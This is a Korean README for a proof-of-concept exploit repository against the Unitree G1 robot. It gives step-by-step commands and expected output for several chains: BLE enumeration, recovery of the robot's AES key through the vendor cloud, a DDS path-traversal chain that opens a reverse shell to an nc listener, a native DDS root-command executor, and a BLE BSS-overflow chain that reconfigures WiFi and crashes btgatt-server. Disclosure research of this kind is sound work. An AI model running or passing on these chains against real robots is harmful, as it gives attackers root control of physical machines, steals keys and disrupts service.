
Unitree G1 RCE PoC 및 스크립트 (CVE-2026-76639 / CVE-2026-76640), 기술 세부 정보: boschko.ca/g1-ble-rce/
Unitree G1 RCE PoC 및 스크립트 (CVE-2026-76639 / CVE-2026-76640) 기술 세부 정보는 boschko.ca/g1-ble-rce/ 에서 확인할 수 있습니다.
이 저장소는 테스트 권한이 있는 로봇, 계정, 네트워크에만 사용하십시오. 활성 체인은 로봇의 WiFi 구성을 변경하고, 서비스를 중지하거나 재시작하며, btgatt-server를 크래시시키고, root 권한으로 명령을 실행할 수 있습니다.
| 경로 | 내용 |
|---|---|
ble-scanning | BLE 검색, 페어링되지 않은 GATT 열거, 일련번호 검색, 암호화된 부트스트랩 블롭 캡처 |
cloud-oracle | 과거 /device/bindExtData 키 복구 흐름의 재현 |
chatgo-bashrunner-rce | WebRTC로 감싼 DDS 경로 순회 및 bashrunner 명령 실행 체인 |
pure-dds-rce | 네이티브 Cyclone DDS로 직접 구현한 동일한 DDS 서비스 체인 |
ble-full-chain-rce | 활성 BLE-to-root 체인: 부트스트랩, 클라우드 키 복구, WiFi 프로비저닝, PIE 정보 유출, BSS 오버플로 |
scanning-tools | 연구 중 사용된 저수준 BLE, DDS, WebRTC 및 서비스 열거 유틸리티 |
ble-bss-overflow.html | 1,050바이트 btgatt-server BSS 오버플로에 대한 대화형 안내 |
0xF1 및 0xF2와 같은 값은 BLE 와이어 프로토콜 opcode입니다. 발견 항목 번호가 아닙니다.
이름은 배포된 구성 요소와 일관되게 유지됩니다: btgatt-server는 취약한 BLE 프로세스이며, chat_go와 bashrunner는 Unitree 서비스/모듈 이름입니다. 이 저장소의 네이티브 개념 증명 실행 파일은 loco_rce라는 이름입니다.
Python 3.11 이상을 권장합니다.
아래 명령 예제는 저장소 루트에서 시작합니다. 셸 변수를 입력받는 예제는 Bash 구문을 사용합니다.
git clone <repository-url>
cd githubunitreepoc
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install -r requirements.txt
BLE 접근은 호스트 플랫폼에 따라 달라집니다. macOS에서 Bleak가 출력하는 주소는 무선 MAC 주소가 아닌 CoreBluetooth UUID입니다.
이 헬퍼들은 물리적인 BLE 근접성만 필요로 하며, Unitree 계정, AES 키 또는 사전 페어링이 필요하지 않습니다.
G1이 노출하는 GATT 서비스와 characteristic 권한을 열거합니다:
python3 ble-scanning/01_ble_gatt_enum.py
로봇 일련번호 복구:
python3 ble-scanning/discover_sn.py --timeout 30
discover_sn.py는 먼저 BLE 제조사 데이터를 확인합니다. 광고에 시리얼 번호가 포함되어 있지 않으면 연결하여 평문 0xF1 요청을 시도합니다. 연결 기반 폴백을 비활성화하려면 --passive-only를 추가하세요.
RSA로 암호화된 0xF2 부트스트랩 블롭을 캡처하여 클라우드 복구 단계를 위해 저장합니다:
python3 ble-scanning/02_ble_bootstrap.py \
--output ble-scanning/bootstrap-blob.txt
일반적인 출력은 여기서 의도적으로 축약되어 있습니다:
Scanning for a Unitree G1 (10s)...
Found <robot-name> at <BLE-address> (<RSSI> dBm)
Connecting to <BLE-address>...
Sending opcode 0xF2 (0055543235f2fe)
Received 4 notifications
Encrypted bootstrap blob (344 Base64 characters):
<encrypted-blob>
Saved to ble-scanning/bootstrap-blob.txt
blob은 암호문이며, 평문 AES 키가 아닙니다.
cloud-oracle/03_cloud_oracle.py는 앱의 과거 키 복구 흐름을 재현합니다:
GET /system/pubKey에서 클라우드 RSA 공개 키를 가져옵니다.POST /device/bindExtData에 제출합니다.현재 서버는 로봇 소유권을 검증할 수 있습니다. 대상 로봇에 대해 권한이 부여된 계정을 사용하세요.
헬퍼를 실행하고 프롬프트에 응답하세요:
python3 cloud-oracle/03_cloud_oracle.py --show-http --redact
계정, 로봇 일련번호, bootstrap-blob 경로를 입력하라는 프롬프트가 표시됩니다. 위에서 생성한 파일에는 ble-scanning/bootstrap-blob.txt를 사용하세요. --redact는 출력되는 curl 재현 명령에서 액세스 토큰과 복구된 AES 키를 가리므로, 출력을 더 안전하게 공유할 수 있습니다.
복구된 키를 출력하는 비공개 실행의 경우 --redact를 생략하세요:
python3 cloud-oracle/03_cloud_oracle.py
액세스 토큰, 계정 자격 증명, 로봇 키, 일련번호 또는 캡처된 blob을 이슈나 공개된 터미널 기록에 붙여넣지 마십시오.
chat_go → bashrunner 체인이 PoC는 WebRTC 데이터 채널을 통해 로봇의 DDS 서비스에 접근합니다. 대상 로봇의 AES-128 키와 로봇의 내부 이더넷 네트워크에 연결된 호스트가 필요합니다.
테스트 네트워크에 맞게 호스트 인터페이스를 구성하십시오. PoC는 기본값으로 로봇 192.168.123.161과 콜백 주소 192.168.123.55를 사용합니다.
첫 번째 터미널에서 리스너를 시작하십시오:
nc -lv 4444
두 번째 터미널에서 32자리 16진수 AES 키를 저장소에 커밋하지 않고 제공한 다음, 체인을 실행합니다:
read -rsp "Robot AES-128 key: " UNITREE_AES_KEY
echo
export UNITREE_AES_KEY
python3 chatgo-bashrunner-rce/reverse_shell_standalone.py \
<callback-ip> 4444
Expected output:
[*] Callback: <callback-ip>:4444
[*] Connecting via WebRTC...
[+] WebRTC connected + validated
[*] Starting chat_go...
[+] chat_go alive
[*] Uploading payload (path traversal)...
[+] Payload written
[*] Restarting bashrunner...
[+] bashrunner restarted
[*] Executing reverse shell...
[?] code=TIMEOUT — check listener anyway
[*] Done
최종 DDS 요청은 대상 서비스를 재시작하거나 실행하는 과정에서 응답 경로가 중단되어 타임아웃이 발생할 수 있습니다. 해당 타임아웃만으로 실패로 간주하지 말고 리스너를 통해 성공 여부를 확인하십시오.
작업이 끝나면 셸 변수를 지우십시오:
unset UNITREE_AES_KEY
네이티브 클라이언트는 DDS 도메인 0에 직접 접속합니다. WebRTC나 로봇의 AES 키를 사용하지 않습니다.
번들로 제공되는 pure-dds-rce/prebuilt_aarch64/loco_rce 실행 파일과 Cyclone DDS 런타임은 Linux AArch64용입니다. 이 실행 파일은 libddsc.so.11에 링크되며, 저장소에는 해당 심볼릭 링크와 그 대상인 libddsc.so.11.0.1이 포함되어 있습니다.
로봇의 내부 이더넷 네트워크에 연결된 AArch64 Linux 호스트에서:
런처는 UNITREE_LOCAL_CIDR을 할당하기 전에 UNITREE_IFACE에서 기존 주소를 플러시합니다. 전용 랩 인터페이스를 사용하고, 실행하기 전에 인터페이스 이름을 다시 한 번 확인하십시오.
./pure-dds-rce/run_exploit_c.sh
따옴표로 묶인 인수를 하나 제공하여 다른 명령을 실행합니다:
./pure-dds-rce/run_exploit_c.sh 'id && hostname && uname -a'
런처는 기본적으로 인터페이스 eth0, 로컬 주소 192.168.123.55/24, 로봇 주소 192.168.123.161을 사용합니다. 필요할 경우 이를 재정의하십시오:
UNITREE_IFACE=<ethernet-interface> \
UNITREE_LOCAL_CIDR=<host-address>/<prefix> \
UNITREE_ROBOT_IP=<robot-address> \
./pure-dds-rce/run_exploit_c.sh
소스 빌드 지침과 예상 출력은 pure-dds-rce/README.md를 참조하세요.
이것은 저장소에서 가장 파괴적인 PoC입니다. 로봇의 WiFi 구성을 변경하고, 제공된 액세스 포인트로 이동시키며, PIE 베이스를 획득하고, BSS 오버플로를 전달하며, 콜백을 실행한 후 의도적으로 btgatt-server를 크래시시킵니다.
리스너를 시작하세요:
nc -lv 5560
자격 증명을 임시 셸 변수로 읽어 들여 해당 리터럴 값이 이 README나 셸 명령 자체에 나타나지 않도록 합니다:
read -rp "Unitree account email: " UNITREE_EMAIL
read -rsp "Unitree account password: " UNITREE_PASSWORD
echo
read -rp "Robot serial number: " UNITREE_SN
read -rp "Lab AP SSID: " LAB_AP_SSID
read -rsp "Lab AP password: " LAB_AP_PSK
echo
체인을 실행하세요:
python3 ble-full-chain-rce/poc_exploit_standalone.py \
--email "$UNITREE_EMAIL" \
--password "$UNITREE_PASSWORD" \
--ssid "$LAB_AP_SSID" \
--psk "$LAB_AP_PSK" \
--callback-ip <host-ip-on-lab-ap> \
--callback-port 5560
콜백 주소는 --ssid를 통해 제공된 액세스 포인트에서 테스트 호스트의 현재 주소여야 합니다. 이전 핫스팟 세션에서 사용한 주소를 재사용하지 마십시오. --callback-ip가 생략되었거나 오래된 경우, PoC는 현재 핫스팟 방향 주소를 자동으로 선택하려고 시도합니다.
식별 값과 비밀 값을 제거한 예상 출력 형태:
BLE bootstrap capture encrypted AES blob
RSA blob captured (344 chars)
Logged in as <account>
AES-128 key <redacted>
Injecting SSID: <lab-ap>
Handshake OK
Auto-discovering robot on <lab-subnet> (scanning port 9991)...
Robot found at <robot-ip> (port 9991 open)
PIE base: <runtime-address>
system@PLT: <runtime-address>
1050B -> 21 chunks
Connection 1/3: chunks 1-7
Connection 2/3: chunks 8-14
Connection 3/3: chunks 15-21
chunk 21/21 crash (ok)
Check your nc listener for a shell.
최종 크래시는 이 개념 증명에서 예상된 결과입니다. 정리 과정에서 위조된 destroy(user_data) 함수 포인터를 먼저 호출한 다음, 위조된 BSS 항목을 free()에 전달하여 btgatt-server가 중단됩니다.
작업이 끝나면 임시 변수를 정리하십시오:
unset UNITREE_EMAIL UNITREE_PASSWORD UNITREE_SN LAB_AP_SSID LAB_AP_PSK
독립형 HTML 페이지는 페이로드 레이아웃, 21회의 BLE 쓰기, epoll_terminate 트리거, 그리고 위조된 mainloop_list[2] 정리 항목을 시각화합니다.
저장소 루트에서:
python3 -m http.server 8000
http://localhost:8000/ble-bss-overflow.html을 엽니다. 이 페이지는 공개 ds.css 저장소에서 로드되는 Nintendo DS 폰트를 제외하면 독립적으로 동작합니다.